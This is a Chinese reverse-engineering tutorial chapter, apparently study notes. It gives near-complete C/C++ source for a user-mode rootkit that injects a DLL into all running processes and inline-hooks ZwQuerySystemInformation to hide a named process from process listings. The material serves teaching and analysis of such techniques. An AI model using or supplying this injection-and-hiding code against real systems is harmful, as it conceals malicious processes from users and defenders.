第33章:隐藏进程-API代码修改技术(上)
隐藏进程(Stealth Process)在代码逆向分析领域中的专业术语为RootKit.它是指通过修改(hooking)系统内核来隐藏进程、文件、注册表等的一项技术.
IAT钩取是通过修改IAT值来实现,而API代码修改则是通过将API代码的前五个字节修改为JMP xxxxxxx 指令来钩取API.此种方法的唯一限制是API代码总长度要 ≥ 5字节.
流程如下:
1. 正常执行到钩取的函数,然后 jmp 指令跳转到自己的DLL函数中
2. 执行 unhook() 函数,恢复其前五个字节.
3. 执行原来的函数,返回后执行 hook() 函数.然后返回.
注意:若其它线程正在读某个函数时,尝试修改其代码会出现非法访问(Access Violation)异常.
因为进程是内核对象,所以(用户模式下的程序)只能通过相关API检测他们.
代码被写在两个.cpp文件中,下面先是
HideProc.cpp
这部分的代码的功能是将 DLL 注入到目标进程中.
typedef void (*PFN_SetProcName)(LPCTSTR szProcName); //函数实体化,具体实现在 stealth.cpp文件中
enum {INJECTION_MODE = 0, EJECTION_MODE};
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
int _tmain(int argc, TCHAR* argv[]) { int nMode = INJECTION_MODE; HMODULE hLib = NULL; PFN_SetProcName SetProcName = NULL; if( argc != 4 ) { printf("\n Usage : HideProc.exe <-hide|-show> "\ "<process name> <dll path>\n\n"); return 1; } // change privilege SetPrivilege(SE_DEBUG_NAME, TRUE); //和之前的没区别 // load library hLib = LoadLibrary(argv[3]); // set process name to hide SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName"); SetProcName(argv[2]); // Inject(Eject) Dll to all process if( !_tcsicmp(argv[1], L"-show") ) nMode = EJECTION_MODE; InjectAllProcess(nMode, argv[3]); // free library FreeLibrary(hLib); //用完就关,养成好习惯 return 0; }
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) { DWORD dwPID = 0; HANDLE hSnapShot = INVALID_HANDLE_VALUE; PROCESSENTRY32 pe; // Get the snapshot of the system pe.dwSize = sizeof( PROCESSENTRY32 ); hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL ); //获取系统快照 // find process Process32First(hSnapShot, &pe); //通过系统快照将第一个进程信息写入结构体 pe 中 do { dwPID = pe.th32ProcessID; //获取进程 PID
if( dwPID < 100 ) // PID < 100 不执行操作 continue; if( nMode == INJECTION_MODE ) //根据输入的参数选择 注入/弹出 DLL InjectDll(dwPID, szDllPath); else EjectDll(dwPID, szDllPath); } while( Process32Next(hSnapShot, &pe) ); //循环到下一个进程,将信息写入结构体 CloseHandle(hSnapShot); //关掉句柄,养成好习惯 return TRUE; }
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) { HANDLE hProcess, hThread; LPVOID pRemoteBuf; DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR); LPTHREAD_START_ROUTINE pThreadProc; if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) //通过 PID 获得进程句柄 { printf("OpenProcess(%d) failed!!!\n", dwPID); return FALSE; } pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); //在目标进程中为要注入的 DLL 路径分配一块内存区域 WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL); //将 DLL 路径写入目标进程 pThreadProc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(L"kernel32.dll"), //在本进程中获取 API 函数地址 "LoadLibraryW"); hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL); //在目标路径中通过调用 LoadLibraryW ,载入 DLL WaitForSingleObject(hThread, INFINITE); //等待目标进程结束
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE); //用完就释放,养成好习惯 CloseHandle(hThread); CloseHandle(hProcess); //用完就关,养成好习惯 return TRUE; }
注入完成后就进入到了 DLL 函数的部分.
stealth.cpp
#include "windows.h"
#include "tchar.h"
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { char szCurProc[MAX_PATH] = {0,}; char *p = NULL; // 异常处理,不能自己注入自己 GetModuleFileNameA(NULL, szCurProc, MAX_PATH); //获取当前进程的路径 p = strrchr(szCurProc, '\\'); //截取路径字符串 if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") ) return TRUE; switch( fdwReason ) { // #2. API Hooking case DLL_PROCESS_ATTACH : // #define DLL_PROCESS_ATTACH 1 hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes); break; // #3. API Unhooking case DLL_PROCESS_DETACH : // #define DLL_PROCESS_DETACH 0 unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes); break; } return TRUE; }
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes) { FARPROC pfnOrg; // FARPROC/PROC在 Win32(内存是平坦模式) 下是一样的,此处仅用作地址计算 DWORD dwOldProtect, dwAddress; // typedef int ( CallBack *proc/farproc ) CallBack == __stdcall BYTE pBuf[5] = {0xE9, 0, }; // typedef int ( WinAPI *proc/farproc ) WinAPI == __stdcall PBYTE pByte; // == BYTE *pByte ,用作判断是否钩取 // 获取要钩取的 API 地址 pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pfnOrg; // 若已经被钩取则 return FALSE if( pByte[0] == 0xE9 ) return FALSE; // 为修改5字节,先向内存添加写属性 VirtualProtect((LPVOID)pfnOrg, 5, //修改 pfnOrg 地址前五个字节的属性,并将原属性值保存在 dwOldProtect 中
PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy(pOrgBytes, pfnOrg, 5); // pfnOrg -> pOrgBytes ,保存原属性值. // 计算 JMP 地址 (E9 XXXX) // => XXXX = pfnNew - pfnOrg - 5 dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;// 此种的 jmp xxxxxxxx 指令是按照本条指令的下一条指令的地址与跳转地址的相对距离来计算的 memcpy(&pBuf[1], &dwAddress, 4); // 在 debugger 中会自动帮忙算好. // jmp xxxxxxxx 指令在此处长度为5字节. // 还有一种short jmp( jmps ) 长度为2字节,对应 IA-32 指令为 EB XX memcpy(pfnOrg, pBuf, 5); //覆写要修改的字节 // 恢复内存属性 VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect); return TRUE; }
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes) { FARPROC pFunc; DWORD dwOldProtect; PBYTE pByte; pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName); pByte = (PBYTE)pFunc; if( pByte[0] != 0xE9 ) return FALSE; VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); // Unhook memcpy(pFunc, pOrgBytes, 5); // 恢复内存属性 VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect); return TRUE; }
typedef LONG NTSTATUS;
#define STATUS_SUCCESS (0x00000000L)
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
}SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
}SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION) // NTSTATUS == ( CallBack *func )( arg1,arg2,...)
(SYSTEM_INFORMATION_CLASS SystemInformationClass, // 即为一个函数指针
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
#define DEF_NTDLL ("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION ("ZwQuerySystemInformation")
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS") //预处理指令,linker 指示连接器, /SECTION:.SHARE 声明节区,RWS 可读写,可共享
#pragma data_seg(".SHARE") //声明了一段节区,data_seg 通常用于 DLL 文件中
TCHAR g_szProcName[MAX_PATH] = {0,}; //共享数据必须初始化,否则会被编译器放在 .BSS段,导致共享失败.
#pragma data_seg()
// global variable
BYTE g_pOrgBytes[5] = {0,};
#ifdef __cplusplus
extern "C" { //如果定义了__cpluscplus ,则为 extern "C" { ..... }
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName); //导出函数,将数据写入共享节区.
}
#ifdef __cplusplus
}
#endif
NTSTATUS WINAPI NewZwQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { NTSTATUS status; FARPROC pFunc; PSYSTEM_PROCESS_INFORMATION pCur, pPrev; char szProcName[MAX_PATH] = {0,}; // 首先脱钩 unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes); // 调用 original API pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if( status != STATUS_SUCCESS ) //成功调用,则返回 0 goto __NTQUERYSYSTEMINFORMATION_END; // 仅针对 SystemProcessInformation 操作 if( SystemInformationClass == SystemProcessInformation ) { // SYSTEM_PROCESS_INFORMATION 类型转换 // pCur 是 single linked list 的 head pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while(TRUE) { // 比较进程名称 // g_szProcName = 为要隐藏的进程名称 // (在 => SetProcName() 已经设置好了) if(pCur->Reserved2[1] != NULL) { if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName)) { // 从列表中删除节点 if(pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; //若为最后一个节点,则置当前节点为0 else pPrev->NextEntryOffset += pCur->NextEntryOffset; //否则,将上一节点的偏移加上当前项
//到下一项的偏移,跳过过本项
} else pPrev = pCur; } if(pCur->NextEntryOffset == 0) break; // 链表的下一项 pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); // ULONG == unsigned long } } __NTQUERYSYSTEMINFORMATION_END: // 再次执行 API Hooking ,为下一次作准备 hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, (PROC)NewZwQuerySystemInformation, g_pOrgBytes); return status; }
值得注意的是,此处的代码并不满足全局钩取 : 只能对当前运行的所有进程进行钩取,但是对后面加载的进程是无法钩取的.